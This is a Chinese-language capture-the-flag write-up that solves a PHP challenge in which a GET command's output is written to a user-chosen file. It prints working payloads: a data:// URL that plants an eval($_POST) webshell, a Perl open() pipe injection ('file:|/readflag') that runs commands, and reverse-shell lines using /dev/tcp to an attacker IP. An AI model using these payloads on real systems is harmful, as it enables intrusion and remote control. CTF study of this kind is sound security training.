文章目录
php
192.168.112.10 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
TRY
尝试通过data协议写入一句话木马
本地搭建一个类似靶场:
php
<?php
echo "<br>GET 命令:";
echo "GET " . escapeshellarg($_GET["url"]);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
echo "<br>data:";
echo $data;
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
echo "<br>dir:";
echo $dir;
mkdir($dir);
chdir($dir);
echo "<br>basename:";
echo basename($info["basename"]);
file_put_contents(basename($info["basename"]), $data);
url = data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMF0pO2VjaG8gMTIzOz8+
filename = shell/shell.php
结果:
GET 命令:GET "data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMF0pO2VjaG8gMTIzOz8+"
data:
dir:shell
basename:shell.php
说明执行该GET命令并不能通过data协议获得目标返回值。
尝试利用file协议读取本地文件
先在本地测试:
url = file://./flag
filename = file/flag.txt
结果:
GET 命令:GET "file://./flag"
data:
dir:file
basename:flag.txt
说明也不行。
尝试反弹shell
显然 GET "bash -c 'bash -i >& /dev/tcp/攻击机IP/5566 0>&1' " 是没法执行的。
WP
才发现我本地根本没有GET命令:)
通过data协议写入一句话木马
playload :
url = data://text/plain,'<?php eval($_POST[0]);echo 123;?>'或者使用base64编码也可以。
关键在于需要用引号括起来,否则的话执行系统命令时<?符号会解析为特殊作用,破坏格式。
filename = shell/shell.php
蚁剑连接,发现不能直接读取,打开虚拟终端,执行/readflag。
利用file协议读取本地文件
这个方法确实可行,但是由于flag不能直接读取,需要执行readflag,所以还需要利用一个perl语言中的漏洞:
当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。GET函数在底层调用了perl语言中的open函数。
playload:
- url=/&filename=upload/test.txt
可以看到GET命令返回的是HTML格式数据。 - url=&filename=|/readflag
因为需要系统中存在该文件名,所以第一次访问先创建。 - url=file:|/readflag&filename=upload/test2.txt
GET "file:|/readflag" 会调用open读取本地文件|/readflag,由于管道符的存在执行命令。
反弹shell(失败)
和上面的方法差不多,利用open的漏洞执行系统命令。
- url=&filename=|bash -i >& /dev/tcp/[ip]/5566 0>&1
- url=file:|bash -i >& /dev/tcp/[ip]/5566 0>&1&filename=a
没有监听到连接。
总结
利用data协议写入木马时,需要注意<?符号破坏系统命令格式。perl语言中的open函数存在rce漏洞。反弹shell我只在同一网段的靶机上实现过,不知道用公网IP实现的问题在哪里。